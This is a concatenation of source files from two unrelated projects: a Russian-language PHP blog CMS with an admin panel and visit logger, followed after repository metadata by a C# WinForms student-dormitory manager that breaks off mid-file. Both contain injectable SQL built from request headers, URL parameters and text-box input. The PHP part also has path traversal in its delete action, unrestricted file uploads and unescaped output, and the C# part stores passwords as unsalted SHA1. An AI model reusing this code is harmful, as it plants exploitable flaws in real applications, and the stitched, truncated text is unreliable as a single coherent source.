class="nav-link active" data-toggle="tab" href="#all">Общее</a> </li> <li class="nav-item"> <a class="nav-link" data-toggle="tab" href="#pages">По страницам</a> </li> </ul> </div> <div class="card-body"> <div class="row"> <div class="col-md-6"> <div class="card-body tab-content"> <div class="tab-pane fade show active" id="all"> <h4 class="card-title">Общая статистика посещений сайта</h4> <table width="100%" cellspacing="0" cellpadding="4" border="1"> <tr> <td><h6>Страница сайта</h6></td> <td><h6>IP Адрес</h6></td> <td><h6>BOT</h6></td> <td><h6>Дата</h6></td> <td><h6>Кол.</h6></td> </tr> <?php foreach($stats as $s): ?> <tr> <td><?=$s['home']?></td> <td><?=$s['ip']?></td> <td><?=$s['bot']?></td> <td><?=$s['date']?></td> <td><?=$s['col']?></td> </tr> <?php endforeach; ?> </table> </div> <div class="tab-pane fade" id="pages"> <h4 class="card-title">Статистика по страницам</h4> <table width="100%" cellspacing="0" cellpadding="4" border="1"> <tr> <td><h6>Страница</h6></td> <td><h6>Кол.просмотров</h6></td> </tr> <?php foreach($stats as $s): ?> <tr> <td><?=$s['home']?></td> <td><?=$s['col']?></td> </tr> <?php endforeach; ?> </table> </div> </div> </div> </div> </div> </div> </div> </div> </div><file_sep>/admin/login.php <?php require_once("../core/settings.php"); require_once('core/user_functions.php'); include($admin_templates.'login.php'); ?><file_sep>/templates/default/views/main.php <!-- Blog Entries Column --> <div class="col-md-8"> <h1 class="my-4">Заголовок Блога <small>Описание</small> </h1> <?php foreach ($posts as $p): ?> <!-- Blog Post --> <div class="card mb-4"> <img class="card-img-top" src="<?=$p['img']?>" alt="Card image cap"> <div class="card-body"> <h2 class="card-title"><?=$p['title']?></h2> <p class="card-text"><?=cut_text($p['content'])?>...</p> <a href="post.php?id=<?=$p['id']?>" class="btn btn-primary"><?=$p['title']?></a> </div> <div class="card-footer text-muted"> <p><?=$p['date']?></p> </div> </div> <?php endforeach ?> <!-- Pagination --> <ul class="pagination justify-content-center mb-4"> <?php pagination(page()) ?> </ul> </div> <file_sep>/admin/actions.php <?php require_once("../core/settings.php"); $link = db_connect(); if(isset($_GET['action'])) $action = $_GET['action']; else $action = ""; if($action == "add"){ if(!empty($_POST)){ add_post($link, $_POST['title'], $_POST['date'], $_POST['content'], $_FILES['img'], $_SESSION['userName']); echo("<script>location.href='index.php'</script>"); } include("templates/post.php"); }else if($action == "edit"){ if(!isset($_GET['id'])) header("Location: index.php"); $id = (int)$_GET['id']; if(!empty($_POST) && $id > 0){ edit_post($link, $id, $_POST['title'], $_POST['content'], $_POST['date'], $_FILE['img'], $_SESSION['userName']); echo("<script>location.href='index.php'</script>"); } $post = posts_get($link, $id); include("templates/post.php"); }else if($action == "delete"){ $id = $_GET['id']; $img = $_GET['img']; $posts = delete_post($link, $id, $img); //header("Location: index.php"); echo("<script>location.href='index.php'</script>"); }else{ $posts = posts_view($link); include("templates/main.php"); } ?><file_sep>/admin/templates/main.php <div class="content-wrapper"> <div class="container-fluid"> <div class="card mb-3"> <div class="card-header"> Добро пожаловать <?php echo $_SESSION['userName']; ?> <hr> <h1>Список публикаций сайта</h1> </div> <div class="card-body"> <table class="table table-hover table-bordered table-striped" border=""> <tr> <td><p>Заголовок</p></td> <td>Дата</td> <td></td> <td></td> </tr> <?php foreach($posts as $p): ?> <tr> <td><?=$p['title']?><br> </td> <td><?=$p['date']?></td> <td><a href="index.php?action=edit&id=<?=$p['id']?>">Редактировать</a></td> <td><a href="index.php?action=delete&id=<?=$p['id']?>&img=<?=$p['img']?>">Удалить</a></td> </tr> <?php endforeach ?> </table> </div> </div> </div> </div><file_sep>/index.php <?php require_once("core/settings.php"); require_once("core/functions.php"); include($themes_dir.$themes_name."/views/head.php"); $link = db_connect(); $posts = posts_view($link); include($themes_dir.$themes_name."/views/main.php"); include($themes_dir.$themes_name."/views/footer.php");<file_sep>/core/functions.php <?php define('PER_PAGE', 5); function posts_view($link) { $page = (!isset($_GET['page'])) ? $page = 0:$page = $_GET['page']; $page = $_GET['page']; $page = $page*PER_PAGE; $query = "SELECT * FROM articles ORDER by id DESC LIMIT ".$page.",".PER_PAGE; $result = mysqli_query($link, $query); if(!$result) die(mysqli_error($link)); $n = mysqli_num_rows($result); $posts = array(); for($i = 0; $i < $n; $i++) { $row = mysqli_fetch_assoc($result); $posts[] = $row; } return $posts; } function posts_get($link, $id_posts){ $query = sprintf("SELECT * FROM articles WHERE id = %d", (int)$id_posts); $result = mysqli_query($link, $query); if(!$result) die(mysqli_error($link)); $posts = mysqli_fetch_assoc($result); return $posts; } function cut_text($text, $len = 250){ return mb_substr($text, 0, $len); } function page(){ $link = mysqli_connect(MYSQL_SERVER, MYSQL_USER, MYSQL_PASSWORD, MYSQL_DB); $sql = "SELECT COUNT(*) FROM articles"; if($res = mysqli_query($link, $sql)){ $res = $res->fetch_assoc(); $res = ceil($res['COUNT(*)']/PER_PAGE); } return $res; } function pagination($pages){ echo '<li class="page-item"><a class="page-link" href="index.php?page=0">Начало</a></li>&nbsp;'; for($i=0; $i < $pages; $i++){ $page = $_GET['page']; if($i < ($page - PER_PAGE) || $i > ($page + PER_PAGE)) continue; if($page == $i){ echo '<li class="page-item active"><a class="page-link" href="index.php?page='.$i.'">'.($i+1).'</a></li>&nbsp;'; }else{ echo '<li class="page-item"><a class="page-link" href="index.php?page='.$i.'">'.($i+1).'</a></li>&nbsp;'; } } echo '<li class="page-item"><a class="page-link" href="index.php?page='.($pages-1).'">Конец</a></li>&nbsp;'; } function add_post($link, $title, $date, $content, $img, $userName){ $uploaddir = '../files/'; $img = $uploaddir.basename($_FILES['img']['name']); $title = trim($title); $content = trim($content); $img = trim($img); $userName = trim($userName); if ($title == "") return false; if (copy($_FILES['img']['tmp_name'], $img)) $img = substr($img, 2); $t = "INSERT INTO articles (title, date, content, img, userName) VALUES ('%s', '%s', '%s', '%s', '%s')"; $query = sprintf($t, mysqli_real_escape_string($link, $title), mysqli_real_escape_string($link, $date), mysqli_real_escape_string($link, $content), mysqli_real_escape_string($link, $img), mysqli_real_escape_string($link, $userName)); $result = mysqli_query($link, $query); if (!result) die(mysqli_error($link)); return true; } function edit_post($link, $id, $title, $content, $date, $img, $userName){ $title = trim($title); $content = trim($content); $date = trim($date); $uploaddir = '../files/'; $img = $uploaddir.basename($_FILES['img']['name']); $userName = trim($userName); $id = (int)$id; if($img == ''){ $img = 'NULL'; } if(copy($_FILES['img']['tmp_name'], $img)) $img = substr($img, 2); $sql = "UPDATE articles SET title='%s', content='%s', date='%s', img='%s', userName='%s' WHERE id='%d'"; $query = sprintf($sql, mysqli_real_escape_string($link, $title), mysqli_real_escape_string($link, $content), mysqli_real_escape_string($link, $date), mysqli_real_escape_string($link, $img), mysqli_real_escape_string($link, $userName), $id); $result = mysqli_query($link, $query); if(!$result) die(mysqli_error($link)); return mysqli_affected_rows($link); } function delete_post($link, $id, $img){ $id = (int)$id; $img = (string)$img; if($id == 0) return false; unlink('..'.$img); $query = sprintf("DELETE FROM articles where id = '%d'", $id); $result = mysqli_query($link, $query); if(!$result) die(mysqli_error($link)); return mysqli_affected_rows($link); } function stats_view($link){ $query = "SELECT home, ip, date, bot, count(ip) as col FROM statistics GROUP BY home ORDER BY col DESC"; $result = mysqli_query($link, $query); if (!$result) die (mysqli_error($link)); $n = mysqli_num_rows($result); $stats = array(); for ($i = 0; $i < $n; $i++){ $row = mysqli_fetch_assoc($result); $stats[] = $row; } return $stats; } <file_sep>/core/settings.php <?php //Подключение к БД define('MYSQL_SERVER', ''); //Сервер базы данных define('MYSQL_USER', ''); //Пользователь базы данных define('MYSQL_PASSWORD', ''); //Пароль базы данных define('MYSQL_DB', ''); //Имя базы данных //Функция подключения к БД function db_connect(){ $link = mysqli_connect(MYSQL_SERVER, MYSQL_USER, MYSQL_PASSWORD, MYSQL_DB) or die ("Error: ".mysqli_error($link)); if(!mysqli_set_charset($link, "utf8")){ printf("Error: ".mysqli_error($link)); } return $link; } $link = db_connect(); function getRealIpAddr(){ if(!empty($_SERVER['HTTP_CLIENT_IP'])){ $ip=$_SERVER['HTTP_CLIENT_IP']; }else if (!empty($_SERVER['HTTP_X_FORWARDER_FOR'])){ $ip=$_SERVER['HTTP_X_FORWARDER_FOR']; } else { $ip=$_SERVER['REMOTE_ADDR']; } return $ip; } if (strstr($_SERVER['HTTP_USER_AGENT'], 'YandexBot')) {$bot = 'YandexBot';} else if (strstr($_SERVER['HTTP_USER_AGENT'], 'Googlebot')) {$bot = 'Googlebot';} else { $bot = $_SERVER['HTTP_USER_AGENT']; } $ip = getRealIpAddr(); $date = date("H:i:s d.m.Y"); $home = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; $query = ("INSERT INTO statistics (date,ip,bot,home) VALUES ('$date', '$ip', '$bot', '$home')"); $result = mysqli_query($link, $query); //Настройки $themes_name = "default"; //Имя шаблона, папка с шаблоном должна иметь такое же имя $themes_dir = "templates/"; //Общий каталог с шаблонами //Настройки админпанели $admin_templates_assets = "templates/assets/"; $admin_templates = "templates/"; <file_sep>/admin/templates/post.php <div class="content-wrapper"> <div class="container-fluid"> <div class="card mb-3"> <div class="card-header"> Добавить публикацию <div> <hr> <form method="post" action="index.php?action=<?=$_GET['action']?>&id=<?=$_GET['id']?>" enctype='multipart/form-data'> <label> Заголовок<br> <input type="text" name="title" size="40" value="<?=$post['title']?>" class="form-item" autofocus required> </label> <br> <label> Дата <br> <input type="date" name="date" size="40" value="<?=$post['date']?>" class="form-item" required> </label> <br> <label> <input type="file" name="img"> </label> <br> <label> Текст<br> <textarea class="form-control" name="content" id="content" rows="5" width="100%"><?=$post['content']?></textarea> </label><br> <label> <input type="hidden" name="old_img" value="" class="form-item" autofocus required> </label> </div> <div> <input type="submit" value="Сохранить" class="btn btn-primary"> <button type="button" value="Отмена" class="btn"><a href="index.php">Отмена</button> </div> </div> <div class="card-body"> </div> </div> </div> </div> </html>
df2a8b1a458c65b97b1db6680a7f7cfa19aaa72f
[ "Markdown", "PHP" ]
16
PHP
alexborsch/nboardcms
b4a391ee76cb636090e48bcea0cdbefd4a68c37f
f98047f00e80195537cfb8fad9a701a4cb554848
refs/heads/master
<file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Data.SQLite; using System.IO; namespace StudentskiDom { class Student { public Student(string firstName, string lastName, string dateOfBirth, string gender, string faculty, string year) { FirstName = firstName; LastName = lastName; DateOfBirth = dateOfBirth; Gender = gender; Faculty = faculty; Year = year; } public string Id { get; set; } public string FirstName { get; set; } public string LastName { get; set; } public string DateOfBirth { get; set; } public string Gender { get; set; } public string Faculty { get; set; } public string Year { get; set; } public string Room { get; set; } public string Warning { get; set; } } } <file_sep>using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; using System.Threading; using System.Data.SQLite; using System.IO; using System.Security.Cryptography; namespace StudentskiDom { public partial class Login : Form { List<Employee> employeeList = new List<Employee>(); string connectionString = @"Data Source = database.db"; public Login() { InitializeComponent(); Database baza = new Database(); using (SQLiteConnection con = new SQLiteConnection(connectionString)) { con.Open(); string stm = "SELECT * FROM zaposleni"; using (SQLiteCommand cmd = new SQLiteCommand(stm, con)) { using (SQLiteDataReader rdr = cmd.ExecuteReader()) { while (rdr.Read()) { Employee emplo = new Employee(rdr["Ime"].ToString(), rdr["Prezime"].ToString(), rdr["Godiste"].ToString(), rdr["Pozicija"].ToString(), rdr["Username"].ToString(), rdr["Password"].ToString()); employeeList.Add(emplo); } } } con.Close(); } } public static string dopustenja; public static string ulogovaniImePrezime; private void Login_FormClosing(object sender, FormClosingEventArgs e) { Application.Exit(); } private void LoginBtn_Click(object sender, MouseEventArgs e) { string username = ""; string password = ""; for(int i = 0; i < employeeList.Count(); i++) { if (employeeList[i].Username == userNameTextBox.Text) { username = employeeList[i].Username; password = employeeList[i].Password; dopustenja = employeeList[i].Position; ulogovaniImePrezime = employeeList[i].FirstName + " " + employeeList[i].LastName; } } if (userNameTextBox.Text == "" || passwordTextBox.Text == "") { MessageBox.Show("Neispravni podaci"); } else if (userNameTextBox.Text == username && getSHA1(passwordTextBox.Text) == password) { Form1 f1 = new Form1(); f1.Show(); Visible = false; } else { MessageBox.Show("Neispravni podaci"); } } private void checkBox1_CheckedChanged(object sender, EventArgs e) { if (checkBox1.Checked) { passwordTextBox.UseSystemPasswordChar = false; } else passwordTextBox.UseSystemPasswordChar = true; } public string getSHA1(string text) { SHA1CryptoServiceProvider sh = new SHA1CryptoServiceProvider(); sh.ComputeHash(ASCIIEncoding.ASCII.GetBytes(text)); byte[] re = sh.Hash; StringBuilder sb = new StringBuilder(); foreach (byte b in re) { sb.Append(b.ToString("x2")); } return sb.ToString(); } private void passwordTextBox_KeyDown(object sender, KeyEventArgs e) { if (e.KeyCode == Keys.Enter) { string username = ""; string password = ""; for (int i = 0; i < employeeList.Count(); i++) { if (employeeList[i].Username == userNameTextBox.Text) { username = employeeList[i].Username; password = <PASSWORD>[i].<PASSWORD>; dopustenja = employeeList[i].Position; ulogovaniImePrezime = employeeList[i].FirstName + " " + employeeList[i].LastName; } } if (userNameTextBox.Text == "" || passwordTextBox.Text == "") { MessageBox.Show("Neispravni podaci"); } else if (userNameTextBox.Text == username && getSHA1(passwordTextBox.Text) == password) { Form1 f1 = new Form1(); f1.Show(); Visible = false; } else { MessageBox.Show("Nespravni podaci"); } } } } } <file_sep>using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; using System.Data.SQLite; using System.Threading; using System.Security.Cryptography; namespace StudentskiDom { public partial class Form1 : Form { List<Student> studentList = new List<Student>(); string connectionString = @"Data Source = database.db"; public static string warningStudId = ""; public static string studentWarning; public static string opomena; public static List<string> opomene = new List<string>(); public static int brojStudenata ; List<string> spisakStudenata = new List<string>(); public Form1() { InitializeComponent(); brojStudenata = 0; using (SQLiteConnection con = new SQLiteConnection(connectionString)) { con.Open(); string stm = "SELECT * FROM student"; using (SQLiteCommand cmd = new SQLiteCommand(stm, con)) { using (SQLiteDataReader rdr = cmd.ExecuteReader()) { while (rdr.Read()) { int i = 0; Student stud = new Student(rdr["Ime"].ToString(), rdr["Prezime"].ToString(), rdr["Godiste"].ToString(), rdr["Pol"].ToString(), rdr["Fakultet"].ToString(), rdr["GodinaStudija"].ToString()); stud.Id = rdr["Id"].ToString(); stud.Room = rdr["Soba"].ToString(); stud.Warning = rdr["Opomena"].ToString(); studentList.Add(stud); brojStudenata++; searchComboBox.Items.Add(stud.Id + " " + stud.FirstName + " " +stud.LastName); spisakStudenata.Add(stud.FirstName + " " + stud.LastName); if (rdr["Soba"].ToString() == "") comboBox1.Items.Add(stud.Id + " " +stud.FirstName + " " + stud.LastName); if (rdr["Soba"].ToString() != "") { Button btn = this.Controls.Find(rdr["Soba"].ToString(), true).FirstOrDefault() as Button; btn.Text = rdr["Id"].ToString() + " " + rdr["Ime"].ToString() + " " + rdr["Prezime"].ToString(); } } } } con.Close(); } } private void floorDownBtn_Click(object sender, EventArgs e) { if (currentFlorlabel.Text == "1") { MessageBox.Show("Na prvom ste spratu!"); } else if (currentFlorlabel.Text == "2") { sprat2.Visible = false; sprat1.Visible = true; currentFlorlabel.Text = "1"; } else if (currentFlorlabel.Text == "3") { sprat3.Visible = false; sprat2.Visible = true; currentFlorlabel.Text = "2"; } } private void floorUpBtn_Click(object sender, EventArgs e) { if (currentFlorlabel.Text == "1") { sprat1.Visible = false; sprat2.Visible = true; currentFlorlabel.Text = "2"; } else if (currentFlorlabel.Text == "2") { sprat2.Visible = false; sprat3.Visible = true; currentFlorlabel.Text = "3"; } else if (currentFlorlabel.Text == "3") { MessageBox.Show("Na poslednjem ste spratu!"); } } private void quitToolStripMenuItem_Click(object sender, EventArgs e) { Application.Exit(); } private void moveStudentBtn_MouseDown(object sender, MouseEventArgs e) { moveStudentBtn.DoDragDrop(moveStudentBtn.Text, DragDropEffects.Copy); } private void button_DragDrop(object sender, DragEventArgs e) { Button btn = (Button)sender; string pol = ""; int brojZauzetihKreveta = 0; string[] idStudenta = moveStudentBtn.Text.Split(' ', '\t'); if (btn.Text == "") { try { using (SQLiteConnection con = new SQLiteConnection(connectionString)) { con.Open(); string stm = "SELECT * FROM Student WHERE Student.Soba LIKE '%" + btn.Name.Substring(btn.Name.Length - 3) + "'"; using (SQLiteCommand cmds = new SQLiteCommand(stm, con)) { using (SQLiteDataReader rdr = cmds.ExecuteReader()) { while (rdr.Read()) { pol = rdr["Pol"].ToString(); brojZauzetihKreveta++; } } } if(brojZauzetihKreveta > 0) { if (genderLabel.Text == pol) { btn.Text = (string)e.Data.GetData(DataFormats.Text); SQLiteCommand cmd = new SQLiteCommand(); cmd.CommandText = "UPDATE student SET Soba = @brsobe WHERE Id=" + idStudenta[0]; cmd.Connection = con; cmd.Parameters.Add(new SQLiteParameter("@brsobe", btn.Name)); int i = cmd.ExecuteNonQuery(); if (i == 1) { MessageBox.Show("Uspjesno prebacen student"); } roomLabel.Text = btn.Name.Substring(btn.Name.Length - 3); comboBox1.Items.Remove((string)e.Data.GetData(DataFormats.Text)); comboBox1.Text = ""; moveStudentBtn.Enabled = false; } else { MessageBox.Show("Ne mogu muskarci i djevojke u istu sobu"); } } else { btn.Text = (string)e.Data.GetData(DataFormats.Text); SQLiteCommand cmd = new SQLiteCommand(); cmd.CommandText = "UPDATE student SET Soba = @brsobe WHERE Id=" + idStudenta[0]; cmd.Connection = con; cmd.Parameters.Add(new SQLiteParameter("@brsobe", btn.Name)); comboBox1.Items.Remove((string)e.Data.GetData(DataFormats.Text)); comboBox1.Text = ""; int i = cmd.ExecuteNonQuery(); if (i == 1) { MessageBox.Show("Uspjesno prebacen student"); } roomLabel.Text = btn.Name.Substring(btn.Name.Length - 3); moveStudentBtn.Enabled = false; } } } catch (Exception ex) { MessageBox.Show(ex.Message); } } else MessageBox.Show("To mjesto je zauzeto"); } private void button_DragEnter(object sender, DragEventArgs e) { e.Effect = e.AllowedEffect; } private void logOutToolStripMenuItem_Click(object sender, EventArgs e) { Login lf = new Login(); lf.Show(); Visible = false; } private void addStudentToolStripMenuItem_Click(object sender, EventArgs e) { AddStudent asf = new AddStudent(); asf.Show(); Visible = false; } private void Form1_FormClosing(object sender, FormClosingEventArgs e) { Application.Exit(); } private void addEmployeeToolStripMenuItem_Click(object sender, EventArgs e) { AddEmployee aef = new AddEmployee(); aef.Show(); Visible = false; } private void searchComboBox_SelectedIndexChanged(object sender, EventArgs e) { //comboBox1.SelectedIndex = -1; comboBox1.Text = ""; using (SQLiteConnection con = new SQLiteConnection(connectionString)) { con.Open(); string[] idStudenta = searchComboBox.Text.Split(' ', '\t'); string stm = "SELECT * FROM student WHERE student.Id =" + idStudenta[0]; try { using (SQLiteCommand cmd = new SQLiteCommand(stm, con)) { using (SQLiteDataReader rdr = cmd.ExecuteReader()) { while (rdr.Read()) { nameLabel.Text = rdr["Ime"].ToString(); lastNameLabel.Text = rdr["Prezime"].ToString(); birthLabel.Text = rdr["Godiste"].ToString(); genderLabel.Text = rdr["Pol"].ToString(); fakultyLabel.Text = rdr["Fakultet"].ToString(); yearLabel.Text = rdr["GodinaStudija"].ToString(); IDLabel.Text = rdr["Id"].ToString(); if (rdr["Soba"].ToString() == "") roomLabel.Text = "Nema sobu"; else roomLabel.Text = rdr["Soba"].ToString().Substring(rdr["Soba"].ToString().Length - 3); if (rdr["Opomena"].ToString() != "") button1.BackColor = Color.Red; else button1.BackColor = Color.White; if (rdr["Soba"].ToString() != "") moveStudentBtn.Enabled = false; else moveStudentBtn.Enabled = true; if (rdr["Soba"].ToString() == "") moveStudentBtn.Enabled = true; else moveStudentBtn.Enabled = false; moveStudentBtn.Text = rdr["Id"].ToString() + " " + rdr["Ime"].ToString() + " " + rdr["Prezime"].ToString(); } } } con.Close(); } catch (Exception ex) { MessageBox.Show(ex.Message); } } } private void izbaciIzSobeToolStripMenuItem_Click(object sender, EventArgs e) { var tsItem = (ToolStripMenuItem)sender; var cms = (ContextMenuStrip)tsItem.Owner; Button tbx = this.Controls.Find(cms.SourceControl.Name, true).FirstOrDefault() as Button; string[] idStudenta = tbx.Text.Split(' ', '\t'); if (tbx.Text != "") { try { if (tbx.Text == moveStudentBtn.Text) roomLabel.Text = "Nema sobu"; using (SQLiteConnection con = new SQLiteConnection(connectionString)) { SQLiteCommand cmd = new SQLiteCommand(); cmd.CommandText = "UPDATE student SET Soba = @brsobe WHERE Id=" + idStudenta[0]; cmd.Connection = con; cmd.Parameters.Add(new SQLiteParameter("@brsobe", "")); con.Open(); string stm = "SELECT * FROM student WHERE Id = " + idStudenta[0]; using (SQLiteCommand cmds = new SQLiteCommand(stm, con)) { using (SQLiteDataReader rdr = cmds.ExecuteReader()) { while (rdr.Read()) { comboBox1.Items.Add(rdr["Id"].ToString() + " " + rdr["Ime"].ToString() + " " + rdr["Prezime"].ToString()); } } } int i = cmd.ExecuteNonQuery(); if (i == 1) { MessageBox.Show("Uspjesno izbacen iz sobe student"); } con.Close(); } moveStudentBtn.Text = ""; nameLabel.Text = ""; lastNameLabel.Text = ""; birthLabel.Text = ""; genderLabel.Text = ""; fakultyLabel.Text = ""; yearLabel.Text = ""; roomLabel.Text = ""; IDLabel.Text = ""; button1.BackColor = Color.White; searchComboBox.Text = ""; comboBox1.Text = ""; tbx.Text = ""; moveStudentBtn.Enabled = false; } catch (Exception ex) { MessageBox.Show(ex.Message); } } else MessageBox.Show("Nema studenta u tom krevetu"); } private void dodajOpomenuToolStripMenuItem_Click(object sender, EventArgs e) { for(int i = 0; i < 2; i++) { var tsItem = (ToolStripMenuItem)sender; var cms = (ContextMenuStrip)tsItem.Owner; Button tbx = this.Controls.Find(cms.SourceControl.Name, true).FirstOrDefault() as Button; Warning wf = new Warning(); string[] idStudenta = tbx.Text.Split(' ', '\t'); warningStudId = idStudenta[0]; if (tbx.Text == "") { if(i == 0) MessageBox.Show("Nema studenta u tom krevetu"); } else { using (SQLiteConnection con = new SQLiteConnection(connectionString)) { con.Open(); string stm = "SELECT * FROM student"; using (SQLiteCommand cmd = new SQLiteCommand(stm, con)) { using (SQLiteDataReader rdr = cmd.ExecuteReader()) { while (rdr.Read()) { if(idStudenta[0] == rdr["Id"].ToString()) { opomena = rdr["Opomena"].ToString(); } } } } con.Close(); } //opomena = opomene[Int32.Parse(idStudenta[0])-1]; if (i == 1) wf.ShowDialog(); moveStudentBtn.Text = ""; nameLabel.Text = ""; lastNameLabel.Text = ""; birthLabel.Text = ""; genderLabel.Text = ""; fakultyLabel.Text = ""; yearLabel.Text = ""; roomLabel.Text = ""; IDLabel.Text = ""; button1.BackColor = Color.White; searchComboBox.Text = ""; comboBox1.Text = ""; moveStudentBtn.Enabled = false; } } } private void button1_Click(object sender, EventArgs e) { string stm = ""; string[] idStudenta = moveStudentBtn.Text.Split(' ', '\t'); using (SQLiteConnection con = new SQLiteConnection(connectionString)) { con.Open(); if (moveStudentBtn.Text == "") MessageBox.Show("Niste izabrali studenta"); else { stm = "SELECT * FROM student WHERE Id =" + idStudenta[0]; using (SQLiteCommand cmd = new SQLiteCommand(stm, con)) { using (SQLiteDataReader rdr = cmd.ExecuteReader()) { while (rdr.Read()) { if (rdr["Opomena"].ToString() == "") MessageBox.Show("Student nema opomena!"); else MessageBox.Show(rdr["Opomena"].ToString()); } } } } con.Close(); } } private void comboBox1_SelectedIndexChanged(object sender, EventArgs e) { //searchComboBox.SelectedIndex = -1; searchComboBox.Text = ""; using (SQLiteConnection con = new SQLiteConnection(connectionString)) { con.Open(); string[] idStudenta = comboBox1.Text.Split(' ', '\t'); string stm = "SELECT * FROM student WHERE student.Id =" + idStudenta[0]; using (SQLiteCommand cmd = new SQLiteCommand(stm, con)) { using (SQLiteDataReader rdr = cmd.ExecuteReader()) { while (rdr.Read()) { nameLabel.Text = rdr["Ime"].ToString(); lastNameLabel.Text = rdr["Prezime"].ToString(); birthLabel.Text = rdr["Godiste"].ToString(); genderLabel.Text = rdr["Pol"].ToString(); fakultyLabel.Text = rdr["Fakultet"].ToString(); yearLabel.Text = rdr["GodinaStudija"].ToString(); IDLabel.Text = rdr["Id"].ToString(); if (rdr["Soba"].ToString() == "") roomLabel.Text = "Nema sobu"; else roomLabel.Text = rdr["Soba"].ToString().Substring(rdr["Soba"].ToString().Length - 3); if (rdr["Opomena"].ToString() != "") button1.BackColor = Color.Red; else button1.BackColor = Color.White; if (rdr["Soba"].ToString() != "") moveStudentBtn.Enabled = false; else moveStudentBtn.Enabled = true; if (rdr["Soba"].ToString() == "") moveStudentBtn.Enabled = true; else moveStudentBtn.Enabled = false; moveStudentBtn.Text = rdr["Id"].ToString() + " " + rdr["Ime"].ToString() + " " + rdr["Prezime"].ToString(); } } } con.Close(); } } private void textBox1_KeyDown_1(object sender, KeyEventArgs e) { string stm = "SELECT * FROM student"; if (e.KeyCode == Keys.Enter) { dataGridView1.Rows.Clear(); if (comboBox2.SelectedItem.ToString() == "Ime" || comboBox2.SelectedItem.ToString() == "Prezime") { if(textBox1.Text != "") stm = stm + " WHERE student." + comboBox2.Text + " = " + "\'" + textBox1.Text + "\'" + "COLLATE NOCASE"; } else if (comboBox2.SelectedItem.ToString() == "Soba") { if (textBox1.Text != "") stm = stm + " WHERE student." + comboBox2.Text + " LIKE " + "\'_" + textBox1.Text + "\'" + "COLLATE NOCASE"; } else if (comboBox2.SelectedItem.ToString() == "Sprat") { if (textBox1.Text != "") stm = stm + " WHERE student.Soba" + " LIKE " + "\'_" + textBox1.Text + "%\'" + "COLLATE NOCASE"; } using (SQLiteConnection con = new SQLiteConnection(connectionString)) { con.Open(); try { using (SQLiteCommand cmd = new SQLiteCommand(stm, con)) { using (SQLiteDataReader rdr = cmd.ExecuteReader()) { while (rdr.Read()) { if (rdr["Soba"].ToString()!= "") { dataGridView1.Rows.Add(rdr["Id"].ToString(), rdr["Ime"].ToString(), rdr["Prezime"].ToString(), rdr["Soba"].ToString().Substring(1, 3)); } else if (rdr["Soba"].ToString() == "") { dataGridView1.Rows.Add(rdr["Id"].ToString(), rdr["Ime"].ToString(), rdr["Prezime"].ToString(), ""); } } } } con.Close(); } catch (Exception ex) { MessageBox.Show(ex.Message); } } } } private void a108_Click(object sender, EventArgs e) { Button btn = (Button)sender; if (btn.Text != "") { using (SQLiteConnection con = new SQLiteConnection(connectionString)) { con.Open(); string[] idStudenta = btn.Text.Split(' ', '\t'); string stm = "SELECT * FROM student WHERE student.Id =" + idStudenta[0]; try { using (SQLiteCommand cmd = new SQLiteCommand(stm, con)) { using (SQLiteDataReader rdr = cmd.ExecuteReader()) { while (rdr.Read()) { nameLabel.Text = rdr["Ime"].ToString(); lastNameLabel.Text = rdr["Prezime"].ToString(); birthLabel.Text = rdr["Godiste"].ToString(); genderLabel.Text = rdr["Pol"].ToString(); fakultyLabel.Text = rdr["Fakultet"].ToString(); yearLabel.Text = rdr["GodinaStudija"].ToString(); IDLabel.Text = rdr["Id"].ToString(); if (rdr["Soba"].ToString() == "") roomLabel.Text = "Nema sobu"; else roomLabel.Text = rdr["Soba"].ToString().Substring(rdr["Soba"].ToString().Length - 3); if (rdr["Opomena"].ToString() != "") button1.BackColor = Color.Red; else button1.BackColor = Color.White; if (rdr["Soba"].ToString() != "") moveStudentBtn.Enabled = false; else moveStudentBtn.Enabled = true; } } } con.Close(); comboBox1.Text = ""; searchComboBox.Text = ""; moveStudentBtn.Text = btn.Text; } catch (Exception ex) { MessageBox.Show(ex.Message); } } } else if (btn.Text == "") { nameLabel.Text = "-"; lastNameLabel.Text = "-"; birthLabel.Text = "-"; genderLabel.Text = "-"; yearLabel.Text = "-"; fakultyLabel.Text = "-"; IDLabel.Text = "-"; roomLabel.Text = "-"; button1.BackColor = Color.White; comboBox1.Text = ""; searchComboBox.Text = ""; moveStudentBtn.Text = btn.Text; MessageBox.Show("Nema studenta u tom krevetu"); } } private void textBox1_TextChanged(object sender, EventArgs e) { } private void Form1_Load(object sender, EventArgs e) { moveStudentBtn.Enabled = false; if (Login.dopustenja == "Čuvar") { searchComboBox.Enabled = false; comboBox1.Enabled = false; addStudentToolStripMenuItem.Enabled = false; addEmployeeToolStripMenuItem.Enabled = false; removeStudentEmployeeToolStripMenuItem.Enabled = false; contextMenuStrip1.Enabled = false; } if(Login.dopustenja == "Recepcionar") { addStudentToolStripMenuItem.Enabled = false; addEmployeeToolStripMenuItem.Enabled = false; removeStudentEmployeeToolStripMenuItem.Enabled = false; } } private void menuToolStripMenuItem_Click(object sender, EventArgs e) { } private void removeStudentEmployeeToolStripMenuItem_Click(object sender, EventArgs e) { Remove_Student_or_Employee rse = new Remove_Student_or_Employee(); rse.Show(); Visible = false; } private void contextMenuStrip1_Opening(object sender, CancelEventArgs e) { } private void comboBox2_SelectedIndexChanged(object sender, EventArgs e) { textBox1.Clear(); if(comboBox2.SelectedIndex == 3) { textBox1.MaxLength = 1; } else if(comboBox2.SelectedIndex == 2) { textBox1.MaxLength = 3; } else { textBox1.MaxLength = 32767; } } } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Data.SQLite; using System.IO; namespace StudentskiDom { class Database { public SQLiteConnection myConnection; public Database () { myConnection = new SQLiteConnection("Data Source = database.db"); if (!File.Exists("./database.db")) { createDB(); } } private static void createDB() { SQLiteConnection.CreateFile("database.db"); } } } <file_sep>using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; using System.Threading; using System.Data.SQLite; using System.IO; namespace StudentskiDom { public partial class AddStudent : Form { string connectionString; public AddStudent() { InitializeComponent(); 